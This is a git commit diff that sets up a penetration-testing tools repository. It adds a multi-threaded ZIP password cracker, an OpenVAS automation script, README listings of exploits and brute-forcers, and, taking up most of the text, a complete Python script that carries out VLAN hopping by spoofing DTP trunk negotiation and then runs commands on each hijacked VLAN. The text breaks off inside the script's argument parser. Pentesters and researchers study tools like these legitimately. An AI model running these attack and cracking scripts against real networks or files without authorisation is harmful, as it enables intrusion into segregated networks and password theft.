commit c08aa59f9a914ab6b81fdc51a3c4c71e53807c38 Author: Mariusz B Date: Fri Feb 2 22:22:43 2018 +0100 First diff --git a/README.md b/README.md new file mode 100644 index 0000000..2142fb6 --- /dev/null +++ b/README.md @@ -0,0 +1,19 @@ +## Penetration Testing Tools, Scripts, CheatSheets + +This is a collection of many tools, scripts, cheatsheets and other loots that I've been developing over years for penetration testing and IT Security audits purposes. Many of them actually had been used during real-world assignments, some of them are a collection gathered from various sources (waiting to be used someday). + +This repository does not contain actual exploits. These I will release under separate repository in some point in future. + +Most of these files actually comes straight from my [Gists](https://gist.github.com/mgeeky) - I've decided to move them into separated repository as managmenet of this number of scripts became tough nut to crack. + +This repository is divided further onto following directories: + +- `file-formats` - Contains various file-format related utilities, fuzzers and so on. +- `linux` - Contains linux-based scripts for various purposes. +- `networks` - Network devices & services Penetration Testing and auditing scripts +- `others` - Others related somehow to penetration tests & Audits +- `social-engineering` - Powershell, Visual Basic, js, phishings and other alike candys +- `web` - Web-Application auditing, pentesting, fuzzing related. +- `windows` - Windows utilities, scripts, exploits. + +Of course these tools do not contain any customer/client related sensitive informations and there are no assignment-specific tools developed as PoCs. \ No newline at end of file diff --git a/file-formats/README.md b/file-formats/README.md new file mode 100644 index 0000000..79d6881 --- /dev/null +++ b/file-formats/README.md @@ -0,0 +1,4 @@ +## File-Formats Penetration Testing related scripts, tools and Cheatsheets + + +- **`zipcrack.rb`** - Simple multi-threaded ZIP cracker. ([gist](https://gist.github.com/mgeeky/f89262744fa37e9ec2351dccdc81b44c)) diff --git a/file-formats/zipcrack.rb b/file-formats/zipcrack.rb new file mode 100644 index 0000000..758ddba --- /dev/null +++ b/file-formats/zipcrack.rb @@ -0,0 +1,101 @@ +# +# Simple multi-threaded ZIP cracker. +# +# MGeeky, 2016 +# + +require 'archive/zip' +require 'tmpdir' +require 'fileutils' + +$THREADS = 10 +$CRACKED = false +$TOTAL_WORDS = 0 +$TMPDIR = File.join Dir::tmpdir, "dir#{Time.now.to_i}_#{rand(100)}" + +def thread file, num, words + tmp = $TMPDIR + "-" + num.to_s + tested = 0 + words.each do |w| + return if $CRACKED + + tested += 1 + if num == 0 and tested % 100 == 0 + printf "\t[%02.2f%%] Testing: '%s'...\r", (100 * tested.to_f / $TOTAL_WORDS), w + end + + if test(file, tmp, w) + puts "\n\t== GOT PASSWORD: '#{w}'\n" + $CRACKED = true + return true + end + end + + false +end + +def test file, dest, pass + begin + Archive::Zip.extract file, dest, :password => pass + true + rescue Archive::Zip::EntryError + false + end +end + +if ARGV.empty? or ARGV.length < 2 + puts "\n[?] Usage: zipcrack.rb file.zip wordlist\n\n" + exit +end + +filename = ARGV.shift +wordlist = ARGV.shift + +if not File.exists? filename + puts "\n[!] Input ZIP file does not exists!\n\n" + exit +end + +if not File.exists? wordlist + puts "\n[!] Input wordlist file does not exists!\n\n" + exit +end + +words = Array.new($THREADS) { Array.new } + +File.readlines(wordlist).each do |line| + words[$TOTAL_WORDS % $THREADS].push line.strip + $TOTAL_WORDS += 1 +end + +puts "\nMy little ZIP cracker ~ mgeeky, 2016\n\n" +puts "\tThere is #{$TOTAL_WORDS} words to be tested." +puts "\tRunning zip cracker within #{$THREADS} threads." +puts "\n" + +threads = Array.new +words.each_with_index do |w, num| + threads.push Thread.new { thread(filename, num, w)} +end + +trap("SIGINT"){ throw :ctrl_c } + +catch :ctrl_c do + begin + threads.each do |t| + t.join + end + rescue Exception + + end +end + +if $CRACKED + puts "\nSuccess.\n" +else + puts "\nWithout luck.\n" +end + +threads.each_with_index do |t, num| + FileUtils.rm_rf($TMPDIR + "-" + num.to_s) +end \ No newline at end of file diff --git a/linux/README.md b/linux/README.md new file mode 100644 index 0000000..bd9e2cf --- /dev/null +++ b/linux/README.md @@ -0,0 +1,4 @@ +## Linux-based Penetration Testing tools, scripts and cheatsheets. + + +- **`openvas-automate.sh`** - OpenVAS automation script. ([gist](https://gist.github.com/mgeeky/a038f809dff4d308db94f5f657908da7)) \ No newline at end of file diff --git a/linux/openvas-automate.sh b/linux/openvas-automate.sh new file mode 100644 index 0000000..e4624e2 --- /dev/null +++ b/linux/openvas-automate.sh @@ -0,0 +1,284 @@ +#!/bin/bash +# +# OpenVAS automation script. +# Mariusz B. / mgeeky, '17 +# v0.2 +# + +trap ctrl_c INT + +# --- CONFIGURATION --- + +USER= +PASS= +HOST=127.0.0.1 +PORT=9390 + +# Must be one of the below defined targets +SCAN_PROFILE="" +#SCAN_PROFILE="Full and fast ultimate" + +FORMAT="PDF" + +# A valid "alive_test" parameter +# Defines how it is determined if the targets are alive +# Currently, valid values are the following: +# Scan Config Default +# ICMP, TCP-ACK Service & ARP Ping +# TCP-ACK Service & ARP Ping +# ICMP & ARP Ping +# ICMP & TCP-ACK Service Ping +# ARP Ping +# TCP-ACK Service Ping +# TCP-SYN Service Ping +# ICMP Ping +# Consider Alive +ALIVE_TEST='ICMP, TCP-ACK Service & ARP Ping' + +# --- END OF CONFIGURATION --- + +targets=( + "Discovery" + "Full and fast" + "Full and fast ultimate" + "Full and very deep" + "Full and very deep ultimate" + "Host Discovery" + "System Discovery" +) + +formats=( + "ARF" + "CPE" + "HTML" + "ITG" + "NBE" + "PDF" + "TXT" + "XML" +) + +able_to_clean=1 + +function usage { + echo + echo -ne "Usage: openvas-automate.sh " + echo + echo -ne "\n host\t- IP address or domain name of the host target." + echo + echo +} + +function omp_cmd { + cmd="omp -u $USER -w \"$PASS\" -h $HOST -p $PORT $@" + #>&2 echo "DBG: OMP cmd: \"$cmd\"" + eval $cmd 2>&1 +} + +function omp_cmd_xml { + omp_cmd "--xml='$@'" +} + +function end { + echo "[>] Performing cleanup" + + if [ $able_to_clean -eq 1 ]; then + omp_cmd -D $task_id + omp_cmd -X '' + fi + exit 1 +} + +function ctrl_c() { + echo "[?] CTRL-C trapped." + exit 1 + end +} + +echo +echo " :: OpenVAS automation script." +echo " mgeeky, 0.2" +echo + +out=$(omp_cmd -g | grep -i "discovery") +if [ -z "$out" ]; then + echo "Exiting due to OpenVAS authentication failure." + exit 1 +fi + +echo "[+] OpenVAS authenticated." + +if [ -z "$SCAN_PROFILE" ]; then + echo "[>] Please select scan type:" + echo -e "\t1. Discovery" + echo -e "\t2. Full and fast" + echo -e "\t3. Full and fast ultimate" + echo -e "\t4. Full and very deep" + echo -e "\t5. Full and very deep ultimate" + echo -e "\t6. Host Discovery" + echo -e "\t7. System Discovery" + echo -e "\t9. Exit" + echo "" + echo "--------------------------------" + + read -p "Please select an option: " m + + if [ $m -eq 9 ]; then exit 0; + elif [ $m -eq 1 ]; then SCAN_PROFILE="Discovery" + elif [ $m -eq 2 ]; then SCAN_PROFILE="Full and fast" + elif [ $m -eq 3 ]; then SCAN_PROFILE="Full and fast ultimate" + elif [ $m -eq 4 ]; then SCAN_PROFILE="Full and very deep" + elif [ $m -eq 5 ]; then SCAN_PROFILE="Full and very deep ultimate" + elif [ $m -eq 6 ]; then SCAN_PROFILE="Host Discovery" + elif [ $m -eq 7 ]; then SCAN_PROFILE="System Discovery" + else echo "[!] Unknown profile selected" && exit 1 + fi + echo +fi + +found=0 + +for i in "${targets[@]}" +do + if [ "$i" == "$SCAN_PROFILE" ]; then + found=1 + break + fi +done + +scan_profile_id=$(omp_cmd -g | grep "$SCAN_PROFILE" | cut -d' ' -f1) +if [ $found -eq 0 ] || [ -z "$scan_profile_id" ]; then + echo "[!] You've selected unknown SCAN_PROFILE. Please change it in script's settings." + exit 1 +fi + +found=0 + +for i in "${formats[@]}" +do + if [ "$i" == "$FORMAT" ]; then + found=1 + break + fi +done + +format_id=$(omp_cmd -F | grep "$FORMAT" | cut -d' ' -f1) + +if [ $found -eq 0 ] || [ -z $format_id ]; then + echo "[!] You've selected unknown FORMAT. Please change it in script's settings." + exit 1 +fi + +if [ -z "$1" ]; then + usage + exit 1 +fi + +TARGET="$1" +host "$TARGET" 2>&1 > /dev/null + +if [ $? -ne 0 ]; then + echo "[!] Specified target host seems to be unavailable!" + read -p "Are you sure you want to continue [Y/n]? " -n 1 -r + echo + if [[ $REPLY =~ ^[Yy]$ ]] + then + echo > /dev/null + else + exit 1 + fi +fi + +echo "[+] Tasked: '$SCAN_PROFILE' scan against '$TARGET' " + +target_id=$(omp_cmd -T | grep "$TARGET" | cut -d' ' -f1) + +out="" +if [ -z "$target_id" ]; then + + echo "[>] Creating a target..." + out=$(omp -u $USER -w '$PASS' -h $HOST -p $PORT --xml=\ +"\ +${TARGET}$TARGET\ +$ALIVE_TEST\ +") + target_id=$(echo "$out" | pcregrep -o1 'id="([^"]+)"') + +else + echo "[>] Reusing target..." +fi + +if [ -z "$target_id" ]; then + echo "[!] Something went wrong, couldn't acquire target's ID! Output:" + echo $out + exit 1 +else + echo "[+] Target's id: $target_id" +fi + +echo "[>] Creating a task..." +task_id=$(omp_cmd -C -n "$TARGET" --target=$target_id --config=$scan_profile_id) + +if [ $? -ne 0 ]; then + echo "[!] Could not create a task." + end +fi + +echo "[+] Task created successfully, id: '$task_id'" + +echo "[>] Starting the task..." +report_id=$(omp_cmd -S $task_id) + +if [ $? -ne 0 ]; then + echo "[!] Could not start a task." + end +fi + +able_to_clean=0 + +echo "[+] Task started. Report id: $report_id" +echo "[.] Awaiting for it to finish. This will take a long while..." +echo + +aborted=0 +while true; do + RET=$(omp_cmd -G) + if [ $? -ne 0 ]; then + echo '[!] Querying jobs failed.'; + end + fi + + RET=$(echo -n "$RET" | grep -m1 "$task_id" | tr '\n' ' ') + out=$(echo "$RET" | tr '\n' ' ') + echo -ne "$out\r" + if [ `echo "$RET" | grep -m1 -i "fail"` ]; then + echo '[!] Failed getting running jobs list' + end + fi + echo "$RET" | grep -m1 -i -E "done|Stopped" + if [ $? -ne 1 ]; then + aborted=1 + break + fi + sleep 1 + +done + +if [ $aborted -eq 0 ]; then + echo "[+] Job done, generating report..." + + FILENAME=${TARGET// /_} + FILENAME="openvas_${FILENAME//[^a-zA-Z0-9_\.\-]/}_$(date +%s)" + + out=$(omp_cmd --get-report $report_id --format $format_id > $FILENAME.$FORMAT ) + + if [ $? -ne 0 ]; then + echo '[!] Failed getting report.'; + echo "[!] Output: $out" + #end + fi + + echo "[+] Scanning done." +else + echo "[?] Scan monitoring has been aborted. You're on your own now." +fi diff --git a/networks/README.md b/networks/README.md new file mode 100644 index 0000000..ff85925 --- /dev/null +++ b/networks/README.md @@ -0,0 +1,85 @@ +## Networks Penetration Testing related scripts, tools and Cheatsheets + + +- **`dtpscan.py`** - DTP Scanner - simple script trying to determine type of configured switchport and DTP negotation mode in order to assist in VLAN Hopping attacks. ([gist](https://gist.github.com/mgeeky/3f678d385984ba0377299a844fb793fa)) + +- **`smtpdowngrade.rb`** - Bettercap TCP Proxy SMTP Downgrade module - prevents the SMTP client from sending "STARTTLS" and returns "454 TLS Not available..." to the client. ([gist](https://gist.github.com/mgeeky/188f3f319e6f3536476e4b272ec0fb19)) + +- **`networkConfigurationCredentialsExtract.py`** - Network-configuration Credentials extraction script - intended to sweep input configuration file and extract keys, hashes, passwords. ([gist](https://gist.github.com/mgeeky/861a8769a261c7fc09a34b7d2bd1e1a0)) + +- **`VLANHopperDTP.py`** - VLAN Hopping via DTP Trunk (Switch) Spoofing exploit - script automating full VLAN Hopping attack, from DTP detection to VLAN Hop with DHCP lease request ([gist](https://gist.github.com/mgeeky/7ff9bb1dcf8aa093d3a157b3c22432a0)) + + Sample output: + + ``` +$ ./VLANHopperDTP.py --help + + :: VLAN Hopping via DTP Trunk negotiation + Performs VLAN Hopping via negotiated DTP Trunk / Switch Spoofing technique + Mariusz B. / mgeeky, '18 + v0.3 + +usage: ./VLANHopperDTP.py [options] + +optional arguments: + -h, --help show this help message and exit + -i DEV, --interface DEV + Select interface on which to operate. + -e CMD, --execute CMD + Launch specified command after hopping to new VLAN. + One can use one of following placeholders in command: + %IFACE (choosen interface), %IP (acquired IP), %NET + (net address), %HWADDR (MAC), %GW (gateway), %MASK + (full mask), %CIDR (short mask). For instance: -e + "arp-scan -I %IFACE %NET%CIDR". May be repeated for + more commands. The command will be launched + SYNCHRONOUSLY, meaning - one have to append "&" at the + end to make the script go along. + -E CMD, --exit-execute CMD + Launch specified command at the end of this script + (during cleanup phase). + -m HWADDR, --mac-address HWADDR + Changes MAC address of the interface before and after + attack. + -f, --force Attempt VLAN Hopping even if DTP was not detected + (like in Nonegotiate situation). + -a, --analyse Analyse mode: do not create subinterfaces, don't ask + for DHCP leases. + -v, --verbose Display verbose output. + -d, --debug Display debug output. + + + +$ sudo ./VLANHopperDTP.py -i enp5s0f1 + + :: VLAN Hopping via DTP Trunk negotiation + Performs VLAN Hopping via negotiated DTP Trunk / Switch Spoofing technique + Mariusz B. / mgeeky, '18 + v0.2 + +[+] VLAN Hopping IS possible. +[>] After Hopping to other VLANs - leave this program running to maintain connections. +[>] Discovering new VLANs... +==> VLAN discovered: 10 +==> VLAN discovered: 20 +==> VLAN discovered: 30 +==> VLAN discovered: 99 +[+] Hopped to VLAN 10.: 172.16.10.10 +[+] Hopped to VLAN 20.: 172.16.20.10 +[+] Hopped to VLAN 30.: 172.16.30.11 +[+] Hopped to VLAN 99.: 172.16.99.10 + ``` + +- **`nmap-grep-to-table.sh`** - Script converting nmap's greppable output (-oG) into a printable per-host tables. ([gist](https://gist.github.com/mgeeky/cd3092cf60fd513d786286a21c6fa915)) + +- **`host-scanner-via-udp.py`** - Running Hosts scanner leveraging ICMP Destination Unreachable response upon UDP closed port packet. ([gist](https://gist.github.com/mgeeky/eae20db2d3dd4704fc6f04ea233bca9c)) + +- **`smb-credential-leak.html`** - SMB Credentials leakage by MSEdge as presented in Browser Security White Paper, X41 D-Sec GmbH. ([gist](https://gist.github.com/mgeeky/44ce8a8887c169aa6a0093d915ea103d)) + +- **`iis_webdav_upload.py`** - Microsoft IIS WebDAV Write Code Execution exploit (based on Metasploit HDM's implementation). ([gist](https://gist.github.com/mgeeky/ce179cdbe4d8d85979a28c1de61618c2)) + +- **`smtpvrfy.py`** - SMTP VRFY python tool intended to check whether SMTP server is leaking usernames. ([gist](https://gist.github.com/mgeeky/1df141b18082b6f424df98fa6a630435)) + +- **`pingsweep.py`** - Quick Python Scapy-based ping-sweeper. ([gist](https://gist.github.com/mgeeky/a360e4a124ddb9ef6a9ac1557b47d14c)) + +- **`sshbrute.py`** - ripped out from Violent Python - by TJ O'Connor. ([gist](https://gist.github.com/mgeeky/70606be7249a61ac26b34b1ef3b07553)) \ No newline at end of file diff --git a/networks/VLANHopperDTP.py b/networks/VLANHopperDTP.py new file mode 100644 index 0000000..50dd8b5 --- /dev/null +++ b/networks/VLANHopperDTP.py @@ -0,0 +1,644 @@ +#!/usr/bin/python + +# +# This script is performing DTP Trunk mode detection and VLAN Hopping +# attack automatically, running sniffer afterwards to collect any other +# VLAN available. To be launched only in Unix/Linux environment as the +# script utilizes following applications: +# - 8021q.ko +# - vconfig +# - ifconfig / ip / route +# - dhclient +# +# NOTICE: +# This program uses code written by 'floodlight', which comes from here: +# https://github.com/floodlight/oftest/blob/master/src/python/oftest/afpacket.py +# +# TODO: +# - Add logic that falls back to static IP address setup when DHCP fails +# - Possibly implement custom ARP/ICMP/DHCP spoofers +# +# Mariusz B. / mgeeky, '18 +# + +import os +import sys +import socket +import struct +import argparse +import tempfile +import commands +import threading +import subprocess +import fcntl, socket, struct + +from ctypes import * + +try: + from scapy.all import * +except ImportError: + print('[!] Scapy required: pip install scapy') + sys.exit(1) + + +VERSION = '0.3' + +config = { + 'verbose' : False, + 'debug' : False, + 'force' : False, + 'count' : 10, + 'timeout' : 90, + 'analyse' : False, + 'interface' : '', + 'macaddr' : '', + 'inet' : '', + 'origmacaddr' : '', + 'commands' : [], + 'exitcommands' : [], +} + +stopThreads = False +attackEngaged = False +dot1qSnifferStarted = False + +vlansHijacked = set() +subinterfaces = set() + +tempfiles = [] + + +# +# =============================================== +# Floodlight's afpacket definitions +# + +ETH_P_8021Q = 0x8100 +SOL_PACKET = 263 +PACKET_AUXDATA = 8 +TP_STATUS_VLAN_VALID = 1 << 4 + +class struct_iovec(Structure): + _fields_ = [ + ("iov_base", c_void_p), + ("iov_len", c_size_t), + ] + +class struct_msghdr(Structure): + _fields_ = [ + ("msg_name", c_void_p), + ("msg_namelen", c_uint32), + ("msg_iov", POINTER(struct_iovec)), + ("msg_iovlen", c_size_t), + ("msg_control", c_void_p), + ("msg_controllen", c_size_t), + ("msg_flags", c_int), + ] + +class struct_cmsghdr(Structure): + _fields_ = [ + ("cmsg_len", c_size_t), + ("cmsg_level", c_int), + ("cmsg_type", c_int), + ] + +class struct_tpacket_auxdata(Structure): + _fields_ = [ + ("tp_status", c_uint), + ("tp_len", c_uint), + ("tp_snaplen", c_uint), + ("tp_mac", c_ushort), + ("tp_net", c_ushort), + ("tp_vlan_tci", c_ushort), + ("tp_padding", c_ushort), + ] + +libc = CDLL("libc.so.6") +recvmsg = libc.recvmsg +recvmsg.argtypes = [c_int, POINTER(struct_msghdr), c_int] +recvmsg.retype = c_int + +def enable_auxdata(sk): + """ + Ask the kernel to return the VLAN tag in a control message + + Must be called on the socket before afpacket.recv. + """ + sk.setsockopt(SOL_PACKET, PACKET_AUXDATA, 1) + +def recv(sk, bufsize): + """ + Receive a packet from an AF_PACKET socket + @sk Socket + @bufsize Maximum packet size + """ + buf = create_string_buffer(bufsize) + + ctrl_bufsize = sizeof(struct_cmsghdr) + sizeof(struct_tpacket_auxdata) + sizeof(c_size_t) + ctrl_buf = create_string_buffer(ctrl_bufsize) + + iov = struct_iovec() + iov.iov_base = cast(buf, c_void_p) + iov.iov_len = bufsize + + msghdr = struct_msghdr() + msghdr.msg_name = None + msghdr.msg_namelen = 0 + msghdr.msg_iov = pointer(iov) + msghdr.msg_iovlen = 1 + msghdr.msg_control = cast(ctrl_buf, c_void_p) + msghdr.msg_controllen = ctrl_bufsize + msghdr.msg_flags = 0 + + rv = recvmsg(sk.fileno(), byref(msghdr), 0) + if rv < 0: + raise RuntimeError("recvmsg failed: rv=%d", rv) + + # The kernel only delivers control messages we ask for. We + # only enabled PACKET_AUXDATA, so we can assume it's the + # only control message. + assert msghdr.msg_controllen >= sizeof(struct_cmsghdr) + + cmsghdr = struct_cmsghdr.from_buffer(ctrl_buf) # pylint: disable=E1101 + assert cmsghdr.cmsg_level == SOL_PACKET + assert cmsghdr.cmsg_type == PACKET_AUXDATA + + auxdata = struct_tpacket_auxdata.from_buffer(ctrl_buf, sizeof(struct_cmsghdr)) # pylint: disable=E1101 + + if auxdata.tp_vlan_tci != 0 or auxdata.tp_status & TP_STATUS_VLAN_VALID: + # Insert VLAN tag + tag = struct.pack("!HH", ETH_P_8021Q, auxdata.tp_vlan_tci) + return buf.raw[:12] + tag + buf.raw[12:rv] + else: + return buf.raw[:rv] + +# +# =============================================== +# + +class Logger: + @staticmethod + def _out(x): + if config['debug'] or config['verbose']: + sys.stdout.write(x + '\n') + + @staticmethod + def dbg(x): + if config['debug']: + sys.stdout.write('[dbg] ' + x + '\n') + + @staticmethod + def out(x): + Logger._out('[.] ' + x) + + @staticmethod + def info(x): + Logger._out('[?] ' + x) + + @staticmethod + def err(x): + sys.stdout.write('[!] ' + x + '\n') + + @staticmethod + def fail(x): + Logger._out('[-] ' + x) + + @staticmethod + def ok(x): + Logger._out('[+] ' + x) + +def inspectPacket(dtp): + tlvs = dtp['DTP'].tlvlist + stat = -1 + for tlv in tlvs: + if tlv.type == 2: + stat = ord(tlv.status) + break + + ret = True + if stat == -1: + Logger.fail('Something went wrong: Got invalid DTP packet.') + ret = False + + elif stat == 2: + Logger.fail('DTP disabled, Switchport in Access mode configuration') + print('[!] VLAN Hopping is not possible.') + ret = False + + elif stat == 3: + Logger.ok('DTP enabled, Switchport in default configuration') + print('[+] VLAN Hopping is possible.') + + elif stat == 4 or stat == 0x84: + Logger.ok('DTP enabled, Switchport in Dynamic Auto configuration') + print('[+] VLAN Hopping is possible.') + + elif stat == 0x81: + Logger.ok('DTP enabled, Switchport in Trunk configuration') + print('[+] VLAN Hopping IS possible.') + + elif stat == 0xa5: + Logger.info('DTP enabled, Switchport in Trunk with 802.1Q encapsulation forced configuration') + print('[?] VLAN Hopping may be possible.') + + elif stat == 0x42: + Logger.info('DTP enabled, Switchport in Trunk with ISL encapsulation forced configuration') + print('[?] VLAN Hopping may be possible.') + + if ret: + print('[>] After Hopping to other VLANs - leave this program running to maintain connections.') + + return ret + +def floodTrunkingRequests(): + while not stopThreads: + # Ethernet + dot3 = Dot3(src = config['macaddr'], dst = '01:00:0c:cc:cc:cc', len = 42) + + # Logical-Link Control + llc = LLC(dsap = 0xaa, ssap = 0xaa, ctrl = 3) + + # OUT = Cisco, Code = DTP + snap = SNAP(OUI = 0x0c, code = 0x2004) + + # DTP, Status = Access/Desirable (3), Type: Trunk (3) + dtp = DTP(ver = 1, tlvlist = [ + DTPDomain(length = 13, type = 1, domain = '\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'), + DTPStatus(status = '\\x03', length = 5, type = 2), + DTPType(length = 5, type = 3, dtptype = '\\xa5'), + DTPNeighbor(type = 4, neighbor = config['macaddr'], len = 10) + ]) + + frame = dot3 / llc / snap / dtp + + Logger.dbg('SENT: DTP Trunk Keep-Alive:\n{}'.format(frame.summary())) + send(frame, iface = config['interface'], verbose = False) + + time.sleep(30) + +def engageDot1qSniffer(): + global dot1qSnifferStarted + + if dot1qSnifferStarted: + return + + dot1qSnifferStarted = True + + Logger.info('Starting VLAN/802.1Q sniffer.') + + sock = socket.socket(socket.AF_PACKET, socket.SOCK_RAW) + sock.bind((config['interface'], ETH_P_ALL)) + enable_auxdata(sock) + + print('[>] Discovering new VLANs...') + + while not stopThreads: + buf = recv(sock, 65535) + pkt = Ether(buf) + + if pkt.haslayer(Dot1Q): + dot1q = pkt.vlan + if dot1q not in vlansHijacked: + print('==> VLAN discovered: {}'.format(dot1q)) + vlansHijacked.add(dot1q) + + if not config['analyse']: + t = threading.Thread(target = addVlanIface, args = (dot1q, )) + t.daemon = True + t.start() + else: + Logger.info('Analysis mode: Did not go any further.') + + Logger.info('Stopped VLAN/802.1Q sniffer.') + +def processDtps(dtps): + global attackEngaged + + if stopThreads: return + + if attackEngaged == False: + success = False + for dtp in dtps: + if dtp.haslayer(DTP): + if inspectPacket(dtp): + success = True + break + + if success: + Logger.ok('VLAN Hopping via Switch Spoofing may be possible.') + Logger.ok('Flooding with fake Access/Desirable DTP frames...\n') + + t = threading.Thread(target = floodTrunkingRequests) + t.daemon = True + t.start() + + attackEngaged = True + time.sleep(5) + + if attackEngaged: + engageDot1qSniffer() + +def launchCommand(subif, cmd): + # following placeholders in command: + # $GW (gateway), + # $MASK (full mask), + + Logger.dbg('Subinterface: {}, Parsing command: "{}"'.format(subif, cmd)) + + if '%IFACE' in cmd: cmd = cmd.replace('%IFACE', subif) + if '%HWADDR' in cmd: cmd = cmd.replace('%HWADDR', getHwAddr(subif)) + if '%IP' in cmd: cmd = cmd.replace('%IP', getIfaceIP(subif)) + if '%NET' in cmd: cmd = cmd.replace('%NET', shell("route -n | grep " + subif + " | grep -v UG | awk '{print $1}' | head -1")) + if '%MASK' in cmd: cmd = cmd.replace('%MASK', shell("route -n | grep " + subif + " | grep -v UG | awk '{print $3}' | head -1")) + if '%GW' in cmd: cmd = cmd.replace('%GW', shell("route -n | grep " + subif + " | grep UG | awk '{print $2}' | head -1")) + if '%CIDR' in cmd: cmd = cmd.replace('%CIDR', '/' + shell("ip addr show " + subif + " | grep inet | awk '{print $2}' | cut -d/ -f2")) + + print('[>] Launching command: "{}"'.format(cmd)) + shell(cmd) + +def launchCommands(subif, commands): + for cmd in commands: + launchCommand(subif, cmd) + +def addVlanIface(vlan): + global subinterfaces + global tempfiles + + subif = '{}.{}'.format(config['interface'], vlan) + + if subif in subinterfaces: + Logger.fail('Already created that subinterface: {}'.format(subif)) + return + + Logger.info('Creating new VLAN Subinterface for {}.'.format(vlan)) + + out = shell('vconfig add {} {}'.format( + config['interface'], vlan + )) + + if out.startswith('Added VLAN with VID == {}'.format(vlan)): + subinterfaces.add(subif) + + pidFile = tempfile.NamedTemporaryFile().name + dbFile = tempfile.NamedTemporaryFile().name + + tempfiles.append(pidFile) + tempfiles.append(dbFile) + + Logger.info('So far so good, subinterface {} added.'.format(subif)) + + ret = False + for attempt in range(3): + Logger.dbg('Acquiring DHCP lease for {}'.format(subif)) + + shell('dhclient -lf {} -pf {} -r {}'.format(dbFile, pidFile, subif)) + time.sleep(3) + + if attempt > 0: + shell('dhclient -lf {} -pf {} -x {}'.format(dbFile, pidFile, subif)) + time.sleep(3) + + shell('dhclient -lf {} -pf {} {}'.format(dbFile, pidFile, subif)) + + time.sleep(3) + ip = getIfaceIP(subif) + + if ip: + Logger.dbg('Subinterface has IP: {}'.format(ip)) + ret = True + + print('[+] Hopped to VLAN {}.: {}'.format(vlan, ip)) + launchCommands(subif, config['commands']) + break + + time.sleep(5) + + if not ret: + Logger.fail('Could not acquire DHCP lease for: {}'.format(subif)) + Logger.fail('Skipping...') + + else: + Logger.fail('Failed.: "{}"'.format(out)) + +def packetCallback(pkt): + Logger.dbg('RECV: ' + pkt.summary()) + +def sniffThread(): + global vlansHijacked + + warnOnce = False + + Logger.info('Sniffing for DTP frames (Max count: {}, Max timeout: {} seconds)...'.format( + config['count'], config['timeout'] + )) + + while not stopThreads and not attackEngaged: + try: + dtps = sniff( + count = config['count'], + filter = 'ether[20:2] == 0x2004', + timeout = config['timeout'], + prn = packetCallback, + stop_filter = lambda x: x.haslayer(DTP) or stopThreads, + iface = config['interface'] + ) + except Exception as e: + if 'Network is down' in str(e): + break + Logger.err('Exception occured during sniffing: ' + str(e)) + + if len(dtps) == 0 and not warnOnce: + Logger.fail('It seems like there was no DTP frames transmitted.') + Logger.fail('VLAN Hopping may not be possible (unless Switch is in Non-negotiate state):') + Logger.info('\tSWITCH(config-if)# switchport nonnegotiate\t/ or / ') + Logger.info('\tSWITCH(config-if)# switchport mode access') + warnOnce = True + + if len(dtps) > 0 or config['force']: + if len(dtps) > 0: + Logger.dbg('Got {} DTP frames.\n'.format( + len(dtps) + )) + else: + Logger.info('Forced mode: Beginning attack blindly.') + + t = threading.Thread(target = processDtps, args = (dtps, )) + t.daemon = True + t.start() + + Logger.dbg('Stopped sniffing.') + +def getHwAddr(ifname): + s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + info = fcntl.ioctl(s.fileno(), 0x8927, struct.pack('256s', ifname[:15])) + return ':'.join(['%02x' % ord(char) for char in info[18:24]]) + +def getIfaceIP(iface): + out = shell("ip addr show " + iface + " | grep inet | awk '{print $2}' | head -1 | cut -d/ -f1") + Logger.dbg('Interface: {} has IP: {}'.format(iface, out)) + return out + +def changeMacAddress(iface, mac): + old = getHwAddr(iface) + Logger.dbg('Changing MAC address of interface {}, from: {} to: {}'.format( + iface, old, mac + )) + shell('ifconfig {} down'.format(iface)) + shell('ifconfig {} hw ether {}'.format(iface, mac)) + shell('ifconfig {} up'.format(iface)) + + ret = old != getHwAddr(iface) + if ret: + Logger.dbg('Changed.') + else: + Logger.dbg('Not changed.') + + return ret + +def assure8021qCapabilities(): + if ('not found' in shell('modprobe -n 8021q')): + Logger.err('There is no kernel module named: "8021q". Fatal error.') + return False + + if not shell('which vconfig'): + Logger.err('There is no "vconfig" utility. Package required: "vconfig". Fatal error.') + return False + + shell('modprobe 8021q') + + return True + +def shell(cmd): + out = commands.getstatusoutput(cmd)[1] + Logger.dbg('shell("{}") returned:\n"{}"'.format(cmd, out)) + return out + +def selectDefaultInterface(): + global config + commands = { + 'ip' : "ip route show | grep default | awk '{print $5}' | head -1", + 'ifconfig': "route -n | grep 0.0.0.0 | grep 'UG' | awk '{print $8}' | head -1", + } + + for k, v in commands.items(): + out = shell(v) + if len(out) > 0: + Logger.info('Default interface lookup command returned:\n{}'.format(out)) + config['interface'] = out + return out + + return '' + +def cleanup(): + if config['origmacaddr'] != config['macaddr']: + Logger.dbg('Restoring original MAC address...') + changeMacAddress(config['interface'], config['origmacaddr']) + + for subif in subinterfaces: + Logger.dbg('Removing subinterface: {}'.format(subif)) + + launchCommands(subif, config['exitcommands']) + shell('vconfig rem {}'.format(subif)) + + Logger.dbg('Removing temporary files...') + for file in tempfiles: + os.remove(file) + +def parseOptions(argv): + print(''' + :: VLAN Hopping via DTP Trunk negotiation + Performs VLAN Hopping via negotiated DTP Trunk / Switch Spoofing technique + Mariusz B. / mgeeky, '18 + v{} +'''.format(VERSION)) + + parser = argparse.ArgumentParser(prog = argv[0], usage='%(prog)s [options]') + parser.add_argument('-i', '--interface', metavar='DEV', default='', help='Select interface on which to operate.') + parser.add_argument('-e', '--execute', dest='command', metavar='CMD', default=[], action='append', help='Launch specified command after hopping to new VLAN. One can use one of following placeholders in command: %%IFACE (choosen interface), %%IP (acquired IP), %%NET (net address), %%HWADDR (MAC), %%GW (gateway), %%MASK (full mask), %%CIDR (short mask). For instance: -e "arp-scan -I %%IFACE %%NET%%CIDR". May be repeated for more commands. The command will be launched SYNCHRONOUSLY, meaning - one have to append "&" at the end to make the script go along.') + parser.add_argument('-E', '--exit-execute', dest='exitcommand', metavar='CMD', default=[], action='append', help='Launch specified command at the end of this script (during cleanup phase).') + parser.add_argument('-m', '--mac-address', metavar='HWADDR', dest='mac', default='', help='Changes MAC address of the interface before and after attack.') + parser.add_argument('-f', '--force', action='store_true', help='Attempt VLAN Hopping even if DTP was not detected (like in Nonegotiate situation).') + parser.add_argument('-a', '--analyse', action='store_true', help='Analyse mode: do not create subinterfaces, don\'t ask for DHCP leases.') + parser.add_argument('-v', '--verbose', action='store_true', help='Display verbose output.') + parser.add_argument('-d', '--debug', 